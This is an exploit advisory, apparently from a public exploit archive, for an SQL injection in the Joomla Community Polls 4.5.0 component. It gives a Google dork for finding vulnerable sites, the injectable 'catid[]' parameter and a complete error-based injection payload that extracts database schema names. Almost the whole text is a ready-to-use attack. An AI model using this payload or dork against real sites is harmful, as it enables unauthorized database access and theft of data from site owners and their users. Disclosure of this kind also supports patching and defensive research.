Joomla Community Polls 4.5.0 SQL Injection

`# # # # #   
# Exploit Title: Joomla! Component Community Polls v4.5.0 - SQL Injection  
# Google Dork: inurl:index.php?option=com_communitypolls  
# Date: 24.02.2017  
# Vendor Homepage: http://corejoomla.com/  
# Software Buy: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/polls/community-polls/  
# Demo: http://demo.corejoomla.com/polls.html  
# Version: 4.5.0  
# Tested on: Win7 x64, Kali Linux x64  
# # # # #   
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Mail : ihsan[@]ihsan[.]net  
# # # # #  
# SQL Injection/Exploit :  
# index.php?option=com_communitypolls&view=search  
# http://localhost/[PATH]/?list_filter=Ihsan_Sencan&list_filter_field=author&filter_all_keywords=1&filter_order=a.catid&filter_order_Dir=desc&catid[]=[SQL]  
# 66+AND(SELECT+1+from(SELECT+COUNT(*),CONCAT((SELECT+(SELECT+(SELECT+DISTINCT+CONCAT(0x496873616e2053656e63616e,0x7e,0x27,CAST(schema_name+AS+CHAR),0x27,0x7e)+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+table_schema!=DATABASE()+LIMIT+1,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),+FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1  
# # # # #  
  
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